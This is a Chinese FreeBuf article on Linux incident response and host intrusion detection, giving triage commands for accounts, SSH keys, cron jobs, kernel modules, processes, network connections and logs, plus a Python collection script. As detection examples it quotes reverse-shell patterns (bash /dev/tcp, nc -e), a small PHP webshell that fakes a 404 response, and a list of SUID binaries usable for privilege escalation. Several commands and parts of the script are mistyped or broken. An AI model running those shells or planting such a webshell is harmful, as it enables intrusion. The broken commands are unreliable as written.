*本文原创作者:罹♛殇,本文属FreeBuf原创奖励计划,未经许可禁止转载
0x01:前言
WEB层的入侵检测一般会根据agent头信息、POST包请求信息基于攻击特征结合多逻辑语句以及响应体检测,HIDS基于主机层面去检测,关于HIDS入侵检测的内容比较多,这里根据自己的经验总结通用的应急流程,应急响应是个体力活,但是很有意思,攻防对抗中,谁更了解这个系统,谁就拥有主动权。本小白记忆力不好,特此记录,也方便后期自己应急和升华。
前序文章:企业安全建设之HIDS
那基于主机层的应急响应和入侵检测还是又很多相同的地方的,那区别点又在哪?
一.Linux应急响应或入侵检测的检查项目获取了什么信息?目的又是什么?
1.快照信息:HIDS可以获取服务器的当前运行情况的信息,基础信息,日志信息,便于安全监控和后期取证或深入分析;
2.异常检查:初筛作用,初步做些排查和异常检查,若发现异常,人工入侵分析;
3.入侵检测:如 rkmod 等后门特征检查,包括历史曾经发现过的后门检查;
二. 入侵检测和Linux应急检查为对应关系,二者关注什么地方和区别是什么?
1.应急响应人工肉眼看,适用于经验分析;
2.入侵检测使用分析脚本以及大数据自动化处理和判断,适用于全面分析和大规模的数据分析;
3.入侵检测一般回存储到 ES 的 索引中,使用 常见的安全架构SOC分析工具来处理,也作为学习数据。
0x02:排查流程
一:基础信息
(1)系统版本、主机名、内核版本收集分析项:最基本的提权方式,查看内核版本,搜索对应的exp进行提权
uname -a
(2)系统运行时间
分析方法:系统当前已经运行时间、时区等信息,在海量的日志里,在排除一些正常业务的日志后,以时间/IP为准线是一个比较不错的主线。
uptime
timedatectl
(3)网卡配置
分析方法:判断网卡是否为混杂模式来确定机器是否在嗅探流量。
ip link show | grep PROMISC
(4)路由信息
分析方法:查找通过同一个路由表进出。
route -n
(5)arp信息
分析方法:
1.服务器上arp 记录应该是只有实际建立过连接的 IP 才有 arp,可以聚类检查是否有超同组业务以外的 arp 地址。
2.mc地址对应的 ip 应该是固定的,可以检查是否有 mac和 IP 不一致的,如有就是有 arp 欺骗
arp -a -n
(6)登录用户
分析项:有无爆破以及爆破痕迹,有无异常登录痕迹
分析方法:
/etc/passwd
1.除root以为UID为0的帐号(UID为0的帐号也不一定都是可疑帐号,Freebsd默认存在toor帐号,且uid为0.(toor 在BSD官网解释为root替代帐号,属于可信帐号))
2.非系统管理员添加的具有shell权限的帐号
awk -F: '($3 == "0"&& $1!="root") {print}' /etc/passwd (查询uid为0的账号)
awk -F: '($4 == "0"&& $1!="root" && $1!="sync" &&$1!="shutdown" && $1!="halt" &&$1!="operator") {print}' /etc/passwd (查询gid为0的账号)
(7)具有 shell 环境的用户——异常用户
分析方法:
1.查看当前环境中具有shell权限的用户,分析找出可疑用户。
2.聚合统计,发现未知的异常用户。
awk -F: '{if($7!~"nologin"&& $7!~"shutdown" && $7!~"halt"&&$7!~"false" && $7!~"sync") print}'/etc/passwd
(8)sudo授权信息——异常用户权限
分析方法:
1.排除法,过滤掉正常用户的sudo权限,找出那些无需密码就可以执行root命令的用户。
2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围
cat /etc/sudoers | grep -Ev"^$|#"
(9)登录信息
分析项:
(a)last(数据源为/var/log/wtmp,wtmp文件中保存的是登录过本系统的用户的信息),统计系统所有用户的登录时间和信息,包括系统曾经进行过重启操作的重启时间信息,获取用户成功登陆的时间点和在线时长
1.用排除法,去掉正常登录 IP,找出异常登录 IP。
2.分析同一类业务的登录 IP,看是否有超范围的登录。
3.单个主机上等于用户统计分析,查看数据少的用户是否为异常用户
4.同一类数据登录用户进行聚合统计排序,查看数据少的用户是否为异常用户
5.last登录用户和ip是否是不常用用户和ip,以及ip是否属于公网ip
(b)lastlog 系统中所有用户最近一次登录信息(源为/var/log/utmp文件)
1.排查一般不可登录的用户是否曾经登陆过,以及登录方式和登录IP。
2.同类业务登录用户聚合排序(登录用户IP聚合排序),来排查恶意用户控制的主机数量
(c) lastb(数据源为/var/log/btmp) 用于显示用户错误的登录列表;
1.用排除法,去掉正常登录错误 IP,找出异常登录错误IP。
2.分析同一类业务的登录错误 IP,看是否有超范围的登录。
3.同一类数据登录用户进行聚合统计排序,查看登录错误过多IP是否存在登录成功情况。
Ps:/var/log/wtmp 文件结构和/var/run/utmp 文件结构一样,都是引用/usr/include/bits/utmp.h中的struct utmp;
(10)系统敏感文件/目录
分析方法:
毋庸置疑,无论是weshell,还是后门总会对系统文件做修改的,分析有无可疑文件、系统新增文件
1.查找24小时内被修改的php文件——find ./ -mtime 0-name"*.php"`
2.查找72小时内新增的文件——find / -ctime 2
3.查找777的权限的文件——find / *.jsp -perm4777
4.查找以.开头的隐藏文件——ls -ar |grep"^."
TMP敏感目录
最近刚爆发的WatchDogsMiner挖矿蠕虫表现为/tmp临时目录存在watchdogs文件,出现了crontab任务异常、网络异常、系统文件被删除、CPU异常卡顿等情况
(11)异常访问目标
分析方法:分析root用户登录时源IP地址,这里的是主动SSH 外联 IP。
1.获取 /root/.ssh/known_hosts文件得到root用 户登录时源IP地址
2.通过白名单过滤,判断是否有异常ssh 登录;
3.通过同类型业务聚类,判断是否有超范围访问。
awk '{print$1}' /root/.ssh/known_hosts
其他用户登录时源IP地址
分析方法:
这里的是主动SSH 外联 IP。
1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/known_hosts文件得到该用户登录时源IP地址
2.通过白名单过滤,判断是否有异常ssh 登录;
3.通过同类型业务聚类,判断是否有超范围访问。
for file in /home/*
do
if [ -d $file]
then
echo -e"$file" >> $ SSHKNOWN_HOSTS
awk '{print $1}'/$file/.ssh/known_hosts>>$ SSHKNOWN_HOSTS
fidone
(12)异常公钥用户
分析方法:分析异常root用户公钥登录时公钥信息
1.获取 /root/.ssh/authorized_keys文件得到root用户公钥登录时公钥信息
2.根据白名单过滤root下公钥用户,查找异常的用户。
3.在同类数据中聚合统计,找到超过范围的异常公钥用户。
awk '{print $1,$3}' /root/.ssh/authorized_keys
其他用户公钥登录时公钥信息
分析方法:
1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/authorized_keys文件得到该用户公钥登录时公钥信息
2.根据白名单过滤公钥用户,查找异常的用户。
3.找出超过范围的异常公钥用户。
for file in /home/*
do
if [ -d $file ]
then
echo -e"$file" >> $ SSHKNOWN_KEYS
awk'{print $1,$3}' /$file/.ssh/authorized_keys >> $ SSHKNOWN_KEYS
fi
done
(13)防火墙配置信息
分析方法:
排查对已受访问控制的服务和系统是否有不规范的防火墙信息
iptables -L-nv
(14)系统中rpm包校验
分析方法:
-V校验rpm包中的文件有无修改,没有提示即没有修改,主要验证8个信息
rpm -aV
二:异常检测
(1)开机启动项
/etc/init.d是 /etc/rc.d/init.d 的软链接,测试新装的linux系统必须开启的服务,其他根据自己的工作业务需求
ssd、rsyslog、network、crond
(2)/etc/rc.local 脚本内容——异常自动执行脚本
分析方法:
1.基于白名单过滤,查找异常的执行命令
2.基于已知的特征做数量统计或异常行为分析。
cat /etc/rc.local | grep -Ev"^#$|^#"
配置文件会在用户登陆之前读取,这个文件中写入了什么命令,在每次系统启动时都会执行一次,默认内容为touch /var/lock/subsys/local
(3)计划任务
分析方法:
1.通过关键字发现root的恶意计划任务,如(反弹命令)
2.白名单过滤找到异常的计划任务
crontab -l 或者 crontab-c /var/spool/cron/ -l
ps:/etc/crontab
为系统执行计划,/var/spool/cron/
为以帐号来区分每个用户的执行任务
(4)/etc/cron.d 计划任务内容——etc下异常计划任务
分析方法:
1.白名单过滤找到异常的计划任务
2.关注挖矿等计划任务
find /etc/cron.d/ |xargs grep -Ev "^#"
(5)用户定义的自启动项
分析方法:
1.白名单过滤发现异常启动项。
2.统计分析,查找未知的异常自启服务
chkconfig --list
(6)系统自启动项
分析方法:
1.白名单过滤发现异常启动项。
systemctl list-unit-files | grep enabled
(7)系统内核模块运行时的文件信息
分析方法:
1.根据文件夹时间戳,再白名单过滤找到未知的恶意内核模块
2.根据安全报告/威胁情况分析有无恶意的内核模块
默认系统内核模块文件信息
ls -alt /sys/module
模块 | 模块 | 模块 | 模块 |
8250 | gf128mul | mousedev | snd |
ablk_helper | ghash_clmulni_intel mptbase | snd_ac97_codec | |
ac97_bus | glue_helper | mptscsih | snd_ens1371 |
acpi | hid | mptspi | snd_pcm |
acpiphp | hid_apple | netpoll | snd_rawmidi |
aesni_intel | hid_magicmouse | nf_conntrack | snd_seq |
ata_generic | hid_ntrig | nf_conntrack_ipv4 snd_seq_device | |
ata_piix | i2c_piix4 | nf_conntrack_ipv6 snd_seq_midi | |
battery | i8042 | nf_defrag_ipv4 | snd_seq_midi_event |
binfmt_misc | intel_idle | nf_defrag_ipv6 | snd_timer |
block | intel_ishtp | nfit | soundcore |
bridge | iosf_mbi | nf_nat | spurious |
cdrom | ip6table_filter | nf_nat_ipv4 | sr_mod |
configfs | ip6table_mangle | nf_nat_ipv6 | stp |
cpuidle | ip6table_nat | nfnetlink | suspend |
crc32c_intel | ip6table_raw | nf_reject_ipv4 | syscopyarea |
crc32_pclmul | ip6_tables | nf_reject_ipv6 | sysfillrect |
crc_t10dif | ip6table_security parport | sysimgblt | |
crct10dif_common | ip6t_REJECT | parport_pc | sysrq |
crct10dif_generic | ip6t_rpfilter | pata_acpi | tcp_cubic |
crct10dif_pclmul | ip_set | pcie_aspm | thermal |
cryptd | iptable_filter | pciehp | tpm |
debug_core | iptable_mangle | pci_hotplug | tpm_tis |
dm_log | iptable_nat | pci_slot | tpm_tis_core |
dm_mirror | iptable_raw | pcmcia_core | ttm |
dm_mod | ip_tables | pcspkr | uhci_hcd |
dm_region_hash | iptable_security | ppdev | usbcore |
drm | ipt_REJECT | printk | usbhid |
drm_kms_helper | ipv6 | processor | uv_nmi |
drm_panel_orientation_quirks joydev | psmouse | vmd | |
dynamic_debug | kdb_main | pstore | vmw_balloon |
e1000 | kernel | rcupdate | vmwgfx |
ebtable_broute | keyboard | rcutree | vmw_vmci |
ebtable_filter | kgdboc | rng_core | vt |
ebtable_nat | kgdbts | scsi_dh_alua | watchdog |
ebtables | libata | scsi_dh_rdac | workqueue |
edac_core | libcrc32c | scsi_mod | xfs |
efi_pstore | libnvdimm | scsi_transport_spi xhci_hcd | |
efivars | llc | sd_mod | xt_conntrack |
ehci_hcd | lrw | serio_raw | xz_dec |
fb_sys_fops | md_mod | sg | zswap |
firmware_class | module | shpchp |
(8)内核模块
分析方法:
1.白名单过滤,查找异常的内核模块。
2.相同类型统计分析,发现被植入的未知的内核模块
3.不断的根据业务扩充白名单
排查系统常见白名单
lsmod |./busybox grep -Ev"Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_nat|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"
(9)运行进程
分析方法:
1.根据白名单过滤发现父进程为1的异常进程。
2.根据cpu使用率发现挖矿进程。
3.根据进程运行时间来发现异常进程。
4.查找无父进程的孤立进程
5.通过对比两种方式获取的进程数是否相等来判断是否有正在运行的进程被隐藏
6.通过rootkit分析工具,如chkproc,chkrootkit,rootkit hunter
ps auxfww
案例:隐藏进程参考链接
(a)强行将进程 pid 变为 0,这种方法存在破绽因此不予考虑。
(b)系统启动时会依据 /etc/fstab 文件内容来挂载分区,在 proc 分区挂载参数中加入 hidepid=2 参数后,登陆系统的用户只能查看到当前用户启动的进程的信息。也就是说, tomcat 用户只能看到属于 tomcat 用户进程的信息。
(c)ps命令和top命令从/proc文件系统中读取进程信息并显示出来。因此,如果一个进程的进程号没有在/proc文件系统中反映出来,则这个进程被“隐藏”了,“隐藏”进程在ps或top命令的输出不出现
(10)网络连接信息
分析方法:
1.发现异常监听端口进程,异常的连接通信。
2.与后面的lsof输出结果做对比来发现异常端口和连接(命令替换或者rootkit过滤不完全)。
3.同类数据中聚合统计,如:pname,dst_ip,dst_port,src_port发现其恶意控制范围
netstat -antup
(11)netstat输出sockets信息
分析方法:
1.通过白名单过滤来发现具有socket连接的进程信息
netstat -plantux
(12)lsof获取网络连接信息
分析方法:
1.与上面netstat获取的数据进行对比分析发现异常端口和连接
lsof -nPi | grep -v"127.0.0.1" |grep -v "::1"
ps:
1.netstat无权限控制,lsof有权限控制,只能看到本用户
2.losf能看到pid和用户,可以找到哪个进程占用了这个端口
(13)进程文件
分析方法:
1.通过白名单过滤来发现异常进程。
2.发现已处于deleted状态的异常进程
find /proc -path '/proc/sys/fs'-prune -o -print |xargs ls -al | grep'exe ->' | sort -u >tmp.txt
(14)进程文件MD5计算
分析方法:
1.根据版本,和已知MD5值作对比判断文件是否被替换。
2.Md5可以diff原始文件或者通过 VT跑一跑,分析有没有已知恶意程序
find /proc -path '/proc/sys/fs'-prune -o -print |xargs ls -al | grep "exe ->" |awk '{print$11}'|sort -u >> tmp.txt
for file in $( cat tmp.txt)
do
f=$( ls -tl $file|awk '{print$5}')
if [ $f -le 50000000 ]; then
md5sum $file >> exe.hash
fi
done
diff exe.hash exe1.hash
(15)具有SUID的可执行文件
分析方法:通过白名单顾虑发现可疑的就有suid权限的文件
已知可以用来提权的linux可执行文件有:
Nmap、vim、find、bash、more、less、nano、cp
默认具有SUID的可执行文件如下:
find / -user root -perm -4000 -print2>/dev/null
(16)进程中被删除的文件
分析方法:
1.通过已删除的文件名判断是否为恶意的进程或者是被注入的恶意文件。
lsof | grep DEL
(17)rootkit检测(难点)
分析方法:通过判断 /sys/module/rkmod 文件夹是否存在来判断是否感染已知的rkmod
if [ -d "/sys/module/rkmod" ];then
echo -e "/sys/module/rkmod rootkit kernel mod exist\n">> $rootkit_file
stat /sys/module/rkmod >> $ $rootkit_file
fi
三:日志异常检测
日志对于安全来说,非常重要,他记录了系统每天发生的各种各样的事情,你可以通过它来检查错误发生的原因,或者受到攻击时攻击者留下的痕迹。日志主要的功能有:审计和监测。他还可以实时的监测系统状态,监测和追踪侵入者等等。
在linux系统中,有三个主要的日志子系统:
连接时间日志--由多个程序执行,把纪录写入到/var/log/wtmp和/var/run/utmp,login等程序更新wtmp和 utmp文件,为了能够跟踪谁在何时登录到系统;
进程统计--由系统内核执行,当一个进程终止时,为每个进程往进程统计文件(pacct或acct)中写一个纪录,进程统计为系统中的基本服务提供命令使用统计;
错误日志--由syslogd执行,用户程序和内核通过syslog向文件/var/log/messages报告值得注意的事件
对日志的理解:
1.我能从何处得到等多的信息;
2.怎样才能确定以上日志所描述内容的真实性
3.日志显示的内容会有什么影响
4.接下来会发什么,后面应该再关注那些其他事件的发生
5.我应该怎么做,该有怎样的紧急防御措施和应对方案
日志关注的内容:
1.系统状态信息——可能影响系统的故障
2.攻击的尝试何刺探——成功的攻击
3.系统接近某些参数的高值——系统容量将要用尽或者达到某个最高值造成的原因
4.系统变更——可能导致安全和可用性问题的系统变更
5.成功的登录——失败的登录
6.例行和自动化配置变更——安全相关配置变更
7.连接建立/终止——检测未授权连接
8.系统启动/关闭——系统奔溃
9.硬件状态信息——硬件的失效
(1)web日志
分析项:
1.对不存在的文件过度访问
2.看上去是url的一部分的代码(sql,html)
3.访问接受用户输入的危险页面
4.一般情况下排除用户认证失败(错误代码:401,403)、无效的请求(错误代码:400)、内部服务器错误(错误代码:500)
5.统计学,如统计访问量较多的IP、访问业务较少的动态的疑似webshell的页面
......
当然也不同一概而论,如果排查400的错误页面,如访问shell.php,会得到日志
<?php
phpinfo();
?>
稍微改变下后门,添加header一句代码之后就会是
<?php
header('HTTP/1.1 404');
ob_start();
phpinfo();
ob_end_clean();
?>
(2)Audit日志
Linux审计系统提供了一种跟踪系统上与安全相关的信息的方法。基于预先配置的规则,审核生成日志条目以记录尽可能多的关于系统上发生的事件信息。使用auditd可以实现如下场景的审计监控:
1.监控文件访问
2.监控系统调用
3.记录用户命令执行
4.记录安全事件
5.执行审计搜索
6.统计概要报表
7.监控网络访问
a).错误登录日志
分析方法:
1.根据错误登录频次发现异常登录用户、登录IP。
2.与passwd_login_users标签数据作对比,发现异常用户。
3.判断是否有超正常范围的 IP 登录记录。
4.同类数据聚合统计acct用户,数量极少的用户需要人工排查
grep -i "fail"/var/log/audit/audit.log*
b).sudo操作日志
分析方法:
1.排除法,过滤掉正常用户的sudo权限
2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围
grep -i "sudo"/var/log/audit/audit.log*
c).信息统计
分析方法:获取系统近一个月的统计信息,如:用户数量,错误登录用户数,执行命令数,事件数等
Aureport
d):其他分析
分析方法:
1.根据业务排除系统正常的操作日志
2.分析有无类似无bash环境的用户的操作记录,如apache用户的操作等
(3)bash_history
分析方法:
1.有无反弹shell
2.有无敏感的操作记录,如删除日志、端口转发等内网渗透操作
bash -i >& /dev/tcp/ip/port 0>&1
python -c "import os,socket,subprocess *
nc -e /bin/bash *
(4)登录日志
1.获取 /var/log/ 目录下 audit、btmp、wtmp、secure、cron、lastlog日志
2.异常常登录、异常用户、异常计划任务;
3.用排除法,去掉正常登录 IP,找出异常登录 IP;
4.通过白名单过滤,判断是否有异常ssh 登录;
5.统计确认是否有异常计划任务;
6.排除系统正常业务简化内容
7.通过人工确认
last
这个命令可用于查看我们系统的成功登录、关机、重启等情况,本质就是将/var/log/wtmp文件格式化输出,因此如果该文件被删除,则无法输出结果。
相关命令:
last -10(-n) 查看最近10条记录
last -x reboot 查看重启的记录
last -x shutdown 查看关机的记录
last -d 查看登陆的记录
last –help 命令帮助信息
lastb
这个命令用于查看登录失败的情况,本质就是将/var/log/btmp文件格式化输出。
相关命令:
lastb name(root) 查看root用户登陆失败记录
lastb -10(-n) 查看最近10条登陆失败记录
lastb –heplp 命令帮助信息
lastlog
这个命令用于查看用户上一次的登录情况,本质就是将/var/log/lastlog文件格式化输出。相关命令:
lastlog 所有用户上一次登陆记录
lastlog -u username(root) root用户上一次登陆记录
lastlog –help 命令帮助信息
who
这个命令用户查看当前登录系统的情况,本质就是将/var/log/utmp文件格式化输出。主要用来查看当前用户名称,以及登陆的ip地址信息,w命令与who一样,会更详细一些。
(5)系统日志
如常见的secure、cron日志,结合业务进行分析
1.linux命令组合拳的使用
grep -ev 'ssh|telnet' /var/log/messages 查看除了包含ssh和telnet之外的所有日志
gerp -f patterns /var/log/messages 查看匹配文件“patterns”中模式所有的消息
cat messages |awk “{print $4}”|sort -u 查看文件记录了那些设备
关键的信息点
关注点 | 关键词 |
---|---|
成功登陆的用户 | “Accepted password”、“Accepted publickey”、“session opened” |
失败的用户登录 | “authentication failure”、“new user”、“deleteuser” |
用户注销 | “session closed” |
用户账户更改或者删除 | “password changed”、“new user”、“deleteuser” |
sudo操作 | “sudo:...COMMAND=...”,"failed su" |
服务故障 | "failed"、"failure" |
0x03:半自动化
以下内容可能会辣眼睛,观看时请不要喝水,linux实现常用shell,安全的小伙伴们一般都比较不一样的风格,用python实现简单的功能吧~
system()数打开一个子shell来执行系统命令,其返回值只会返回一个状态码,popen()会打开一个管道,返回结果是一个连接管道的文件对象,可以从该文件对象中读取返回结果
#!/usr/bin/python3
# -*- coding:utf-8 -*-#
import os
import re
def info():
print("基础版本信息")
print("------------------------------------")
version=os.system("uname a")
print("logging users")
print("-------------------------------------")
logging_users=os.system("w")
print("系统运行时间")
print("-------------------------------------")
os_time=os.system("uptime")
#网卡信息
network=os.system('ip link show | grep PROMISC')
#路由信息
route=os.system("route -n")
#arp信息
arp=os.system("arp -a -n")
#显示当前时间
time=os.system("timedatectl")
#挂载信息
mount=os.system("mount")
#目前登录信息
logging_user=os.system("w")
#用户目前和过去的登录信息,对应/var/log/wtmp文件,last -f /var/log/wtmp
loggied_user=os.system("last")
#本地系统用户最后一次登录的信息,对应/var/log/utmp文件
logging_user_info=os.system("lastlog")
#用户错误登录的登录列表,对应/var/log/btmp文件
logging_user_info=os.system("lastb")
#这里可以做的事情:监控paasswd是否新增帐号;lastlog中系统用户从未登录过的用户是否登录;last登录用户和ip是否是不常用用户和ip,以及ip是否属于公网ip,lastb登录错误的ip和用户是否在last登录成功的列表中
#具有shell登录环境的用户cat /etc/rc.local
#not_nologin_users=os.system("awk -F: '{if($7!~"nologin" && $7!~"shutdown" && $7!~"halt" && $7!~"false" && $7!~"sync") print}' /etc/passwd")
#sudo授权信息
sudo = os.system("cat /etc/sudoers | grep -Ev '^$|#'")
#root用户登录时的源ip地址
root_sshknow_hosts=os.system("awk '{print $1}' /root/.ssh/known_hosts")
#其他用户登录时源ip地址
#for file in os.system("ls /home"):system的结果为0,1等结果数值,无法取值进行循环
os.system("ls /home > 1.txt")
f = open("1.txt", "r")
for file in f.readlines():
file = file.strip()
path = "/home/" + file + "/.ssh/known_hosts"
# print(path)
a = os.path.exists(path)
# print(a)
try:
if a == True:
os.system("awk '{print $1}' %s" % path)
except FileNotFoundError:
pass
f.close()
#/etc/rc.local 脚本内容,默认内容为:touch /var/lock/subsys/local
auto_rclocal=os.system(' | grep -Ev "^#$|^#"')
#crontab任务计划,crontab -l 或者 crontab -c /var/spool/cron/ -l,/etc/crontab为系统执行计划,/var/spool/cron/为以帐号来区分每个用户的执行任务
crontab=os.system('crontab -l')
#cron.d 为系统级任务计划,crontab -l无法显示
crond=os.system(' find /etc/cron.d/ |xargs ./busybox grep -Ev "^#"')
#用户自定义启动项
services=os.system('chkconfig --list')
system_servers=os.system('systemctl list-unit-files | grep enabled | grep -Ev "ups.path|abrt-ccpp.service|abrt-oops.service|abrt-vmcore.service|abrt-xorg.service|abrtd.service|accounts-daemon.service|atd.service|auditd.service|avahi-daemon.service|bluetooth.service|chronyd.service|crond.service|cups.service|dbus-org.bluez.service|dbus-org.fedoraproject.FirewallD1.service|dbus-org.freedesktop.Avahi.service|dbus-org.freedesktop.ModemManager1.service|dbus-org.freedesktop.NetworkManager.service|dbus-org.freedesktop.nm-dispatcher.service|display-manager.service|dmraid-activation.service|firewalld.service|gdm.service|getty@.service|gitlab-runsvdir.service|irqbalance.service|iscsi.service|ksm.service|ksmtuned.service|libstoragemgmt.service|libvirtd.service|lvm2-monitor.service|mdmonitor.service|microcode.service|ModemManager.service|multipathd.service|netcf-transaction.service|NetworkManager-dispatcher.service|NetworkManager-wait-online.service|NetworkManager.service|postfix.service|rngd.service|rsyslog.service|rtkit-daemon.service|smartd.service|spice-vdagentd.service|sshd.service|sysstat.service|systemd-readahead-collect.service|systemd-readahead-drop.service|systemd-readahead-replay.service|tuned.service|vmtoolsd.service|avahi-daemon.socket|cups.socket|dm-event.socket|iscsid.socket|iscsiuio.socket|lvm2-lvmetad.socket|lvm2-lvmpolld.socket|rpcbind.socket|default.target|graphical.target|nfs-client.target|remote-fs.target"')
#内核模块运行时的文件信息
kernel_file=os.system("ls -alt /sys/module")
#内核模块
lsmod=os.system('lsmod | grep -Ev "Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_na|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"')
#进程信息
pstreew=os.system('ps auxfw')
#网络连接信息
network_listen=os.system('netstat -antup')
#lsof网络连接信息,1.netstat无权限控制,lsof有权限控制,只能看到本用户2.losf能看到pid和用户,可以找到哪个进程占用了这个端口
lsof_listen=os.system('lsof -nPi | grep -v "127.0.0.1" |grep -v "::1" |sort -u')
#网络输出sockets信息
network_connecttion=os.system("netstat -plantux")
#防火墙信息
iptables=os.system("iptables -L -nv")
#进程文件路径https://blog.csdn.net/xuelin1036/article/details/41794487,https://www.cnblogs.com/aofo/p/6151266.html
#sys/fs用于描述系统中的所有文件系统
#排除/proc/sys/fs搜索所有exe表示具体的执行路径
proc_exe=os.system("find /proc -path '/proc/sys/fs' -prune -o -print |xargs ls -al | grep 'exe ->' | sort -u")
#rpm包信息
rpm=os.system("rpm -aV")
#sshx相关rpm检测
ssh_rpm=os.system("rpm -qa|grep ssh|xargs rpm -qV")
#日志获取
#history命令历史记录
history=os.system("history")
#其他用户历史记录,无需判断该用户是否有shell,如apche用户无history文件,若该用户执行了命令,可从audit日志中发现
os.system("ls /home > 1.txt")
f1 = open("1.txt", "r")
for file in f.readlines():
file = file.strip()
path = "/home/" + file + "/.bash_history"
a = os.path.exists(path)
try:
if a == True:
os.system("cat %s" % path)
except FileNotFoundError:
pass
f1.close()
#var相关log日志获取,audit日志,btmp日志,wtmp日志,secure日志,corn日志,lastlog日志
os.system("tar -zcf var_log.tar.gz /var/log/audit \/var/log/btmp* /var/log/wtmp* /var/log/secure* /var/log/cron* \/var/log/lastlog")
if __name__ == "__main__":
info()
文中根据自己的经验和学习总结,能力有限,欢迎大佬补充,若有错误,还望大佬指正。
*本文原创作者:罹♛殇,本文属FreeBuf原创奖励计划,未经许可禁止转载